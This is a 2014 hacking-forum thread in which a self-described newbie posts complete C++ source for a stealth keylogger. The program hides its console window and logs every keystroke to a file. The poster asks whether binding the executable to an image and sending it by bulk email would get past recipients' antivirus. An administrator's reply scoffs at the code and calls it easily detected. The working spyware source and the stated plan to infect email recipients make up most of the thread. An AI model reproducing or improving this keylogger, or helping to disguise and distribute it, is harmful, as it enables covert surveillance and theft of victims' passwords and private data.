Author Topic: Spyware keylogger  (Read 710 times)

0 Members and 3 Guests are viewing this topic.

Offline donfergie

  • NULL
  • Posts: 1
  • Cookies: -1
    • View Profile
Spyware keylogger
« on: September 08, 2014, 04:49:30 pm »
Hello to all,
 
I have a problem and I need all your help. I am trying to create a keylogger using Visual C++, I have downloaded and installed Dev C++  in my system and then opened the dev c++ compiler.
 
So I clicked on File->New ->Source File and a blank works space opened in window. I copied the below keylogger code into the blank work space..
 
After that I tried to compile the code (Ctrl+F9) but it wouldn't work.. My ESET antivirus detected it as a threat and was deleted. So because it was deleted I cannot execute the program by selecting Execute->Run(ctrl+F10)


I am a newbie at this.. I was told that the keylogger will run in my system and that whatever I type using keyboard will be stored in Log.txt file. (you can see the log.txt file where you save the file. bind the exe file with image or any files and send it)
 
In addition, I want to know if I send this out via bulk email sender will the recepients be able to download and run it in their system without it being detected by an antivirus and will this in anyway bring harm to my computer (for example can someone see my log file as well?).
 
Thank you so much to all you wonderful hackers for your help...

Code: (cpp) [Select]
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();


int main()
{
Stealth();
char i;


while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}


/* *********************************** */


int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;


FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");


cout << key_stroke << endl;


if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);


fclose (OUTPUT_FILE);
return 0;
}


/* *********************************** */


void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Staff Note: Dafuq??? We have code tags my friend.. Identation is something that is pretty useful too.
« Last Edit: September 08, 2014, 04:52:46 pm by RedBullAddicted »

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: Spyware keylogger
« Reply #1 on: September 08, 2014, 05:59:27 pm »
Obviously you didn't write this or even understand what any block of that code does. Blindly compiling shit you find on the web will rm-rf your shit one day, be warned.
Also compiling keyloggers with AV on? u mad.

To answer your question: no. This code is pretty basic and the fact that you found it somewhere clearly says that it's detectable as steaming shit in the middle of your room. Fuck, probably even ClamAV finds it...

That is all.
« Last Edit: September 08, 2014, 06:00:24 pm by Kulverstukas »